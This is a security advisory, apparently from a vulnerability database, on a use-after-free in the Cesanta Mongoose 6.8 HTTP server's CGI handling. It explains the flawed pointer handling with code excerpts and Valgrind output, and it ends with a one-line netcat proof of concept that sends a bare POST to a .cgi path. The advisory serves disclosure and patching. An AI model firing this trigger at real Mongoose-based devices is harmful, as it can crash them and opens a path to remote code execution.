logo
DATABASE RESOURCES PRICING ABOUT US

Cesanta Mongoose HTTP Server CGI Remote Code Execcution Vulnerability

Description

### Summary An exploitable use-after-free vulnerability exists in the HTTP server implementation of Cesanta Mongoose 6.8. An ordinary HTTP POST request with a CGI target can cause a reuse of previously freed pointer potentially resulting in remote code execution. An attacker needs to send this HTTP request over network to trigger this vulnerability. ### Tested Versions Cesanta Mongoose 6.8 ### Product URLs <https://cesanta.com/> ### CVSSv3 Score 9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ### CWE CWE-416: Use After Free ### Details Mongoose is a monolithic library implementing a number of networking protocols, including HTTP, MQTT, MDNS and others. It is designed with embedded devices in mind and as such is used in many IoT devices and runs on virtually all platforms. While parsing a specific type of POST request that targets a CGI script, a use-after-free vulnerability is triggered, if compiled with CGI support which is the default. When doing the initial parsing, a structure of type `mg_connection` is allocated in function `mg_create_connection_base`. Then, while working on a reply and since this is a CGI request (target of the request just needs to end with set CGI extension, “.cgi” by default), a CGI handler is invoked in the function `mg_send_http_file`: } else if (is_cgi) { #if MG_ENABLE_HTTP_CGI mg_handle_cgi(nc, index_file ? index_file : path, path_info, hm, opts); #else In function `mg_handle_cgi` a new connection structure is allocated and a previous one is added to it: struct mg_connection *cgi_nc = mg_add_sock(nc->mgr, fds[0], mg_cgi_ev_handler); [1] struct mg_http_proto_data *cgi_pd = mg_http_get_proto_data(nc); cgi_pd->cgi.cgi_nc = cgi_nc; cgi_pd->cgi.cgi_nc->user_data = nc; [2] nc->flags |= MG_F_USER_1; In above code, at [1], a new connection structure is created and at [2], the old `nc` is set as the `user_data` field. Since the initial client connection is deemed done, it’s being cleaned and the first `mg_connection` structure is freed by calling `mg_close_conn` in function `mg_socket_if_poll`. This leaves the `cgi_pd->cgi.cgi_nc->user_data` pointer set at [2] pointing to freed memory. Then, when executing the actual CGI event handler function `mg_cgi_ev_handler` this freed data will be accessed in different places depending on the event: static void mg_cgi_ev_handler(struct mg_connection *cgi_nc, int ev, void *ev_data) { struct mg_connection *nc = (struct mg_connection *) cgi_nc->user_data; [3] ... case MG_EV_CLOSE: mg_http_free_proto_data_cgi(&mg_http_get_proto_data(nc)->cgi); [4] nc->flags |= MG_F_SEND_AND_CLOSE; Break; In the above code, at [3] the pointer to the original connection structure is retrieved (which at this time points to freed memory) and is dereferenced at [4] which ultimately leads to read and write over unallocated memory. If a second request happens at the right time, this freed memory might contain different data or point to other structures leading to server crash and potential remote code execution with multiple carefully controlled post requests. This vulnerability can be demonstrated via the example web server application supplied with the library. Since the server may not immediately crash, the vulnerability can be observed by running the server under memory debugger such as valgrind or AddressSanitizer. ### Crash Information Valgrind output: ==87342== Memcheck, a memory error detector ==87342== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==87342== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==87342== Command: ./simplest_web_server ==87342== ==87342== Invalid read of size 8 ==87342== at 0x40BD62: mg_http_get_proto_data (mongoose.c:5054) ==87342== by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249) ==87342== by 0x406FD9: mg_call (mongoose.c:2051) ==87342== by 0x407318: mg_close_conn (mongoose.c:2108) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Address 0x5421728 is 136 bytes inside a block of size 208 free'd ==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101) ==87342== by 0x407329: mg_close_conn (mongoose.c:2109) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Block was alloc'd at ==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303) ==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328) ==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435) ==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202) ==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495) ==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== ==87342== Invalid write of size 8 ==87342== at 0x40BD84: mg_http_get_proto_data (mongoose.c:5055) ==87342== by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249) ==87342== by 0x406FD9: mg_call (mongoose.c:2051) ==87342== by 0x407318: mg_close_conn (mongoose.c:2108) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Address 0x5421728 is 136 bytes inside a block of size 208 free'd ==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101) ==87342== by 0x407329: mg_close_conn (mongoose.c:2109) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Block was alloc'd at ==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303) ==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328) ==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435) ==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202) ==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495) ==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== ==87342== Invalid write of size 8 ==87342== at 0x40BD8F: mg_http_get_proto_data (mongoose.c:5056) ==87342== by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249) ==87342== by 0x406FD9: mg_call (mongoose.c:2051) ==87342== by 0x407318: mg_close_conn (mongoose.c:2108) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Address 0x5421730 is 144 bytes inside a block of size 208 free'd ==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101) ==87342== by 0x407329: mg_close_conn (mongoose.c:2109) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Block was alloc'd at ==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303) ==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328) ==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435) ==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202) ==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495) ==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== ==87342== Invalid read of size 8 ==87342== at 0x40BD9E: mg_http_get_proto_data (mongoose.c:5059) ==87342== by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249) ==87342== by 0x406FD9: mg_call (mongoose.c:2051) ==87342== by 0x407318: mg_close_conn (mongoose.c:2108) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Address 0x5421728 is 136 bytes inside a block of size 208 free'd ==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101) ==87342== by 0x407329: mg_close_conn (mongoose.c:2109) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Block was alloc'd at ==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303) ==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328) ==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435) ==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202) ==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495) ==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== ==87342== Invalid read of size 8 ==87342== at 0x4138F1: mg_cgi_ev_handler (mongoose.c:8250) ==87342== by 0x406FD9: mg_call (mongoose.c:2051) ==87342== by 0x407318: mg_close_conn (mongoose.c:2108) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Address 0x5421768 is 200 bytes inside a block of size 208 free'd ==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101) ==87342== by 0x407329: mg_close_conn (mongoose.c:2109) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Block was alloc'd at ==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303) ==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328) ==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435) ==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202) ==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495) ==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== ==87342== Invalid write of size 8 ==87342== at 0x413905: mg_cgi_ev_handler (mongoose.c:8250) ==87342== by 0x406FD9: mg_call (mongoose.c:2051) ==87342== by 0x407318: mg_close_conn (mongoose.c:2108) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Address 0x5421768 is 200 bytes inside a block of size 208 free'd ==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101) ==87342== by 0x407329: mg_close_conn (mongoose.c:2109) ==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== Block was alloc'd at ==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303) ==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328) ==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435) ==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202) ==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495) ==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== ==87355== ==87355== HEAP SUMMARY: ==87355== in use at exit: 1,656 bytes in 9 blocks ==87355== total heap usage: 11 allocs, 2 frees, 3,704 bytes allocated ==87355== ==87355== LEAK SUMMARY: ==87355== definitely lost: 0 bytes in 0 blocks ==87355== indirectly lost: 0 bytes in 0 blocks ==87355== possibly lost: 0 bytes in 0 blocks ==87355== still reachable: 1,656 bytes in 9 blocks ==87355== suppressed: 0 bytes in 0 blocks ==87355== Rerun with --leak-check=full to see details of leaked memory ==87355== ==87355== For counts of detected and suppressed errors, rerun with: -v ==87355== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) ==87342== ==87342== Process terminating with default action of signal 2 (SIGINT) ==87342== at 0x5154573: __select_nocancel (syscall-template.S:84) ==87342== by 0x40AB75: mg_socket_if_poll (mongoose.c:3657) ==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232) ==87342== by 0x4020C2: main (simplest_web_server.c:33) ==87342== ==87342== HEAP SUMMARY: ==87342== in use at exit: 416 bytes in 6 blocks ==87342== total heap usage: 14 allocs, 8 frees, 5,008 bytes allocated ==87342== ==87342== LEAK SUMMARY: ==87342== definitely lost: 72 bytes in 1 blocks ==87342== indirectly lost: 0 bytes in 0 blocks ==87342== possibly lost: 0 bytes in 0 blocks ==87342== still reachable: 344 bytes in 5 blocks ==87342== suppressed: 0 bytes in 0 blocks ==87342== Rerun with --leak-check=full to see details of leaked memory ==87342== ==87342== For counts of detected and suppressed errors, rerun with: -v ==87342== ERROR SUMMARY: 6 errors from 6 contexts (suppressed: 0 from 0) ### Exploit Proof-of-Concept echo -ne “POST /a.cgi HTTP/1.1\r\n\r\n” | nc localhost 8000 ---|--- ### Timeline 2017-08-30 - Vendor Disclosure 2017-10-31 - Public Release


Related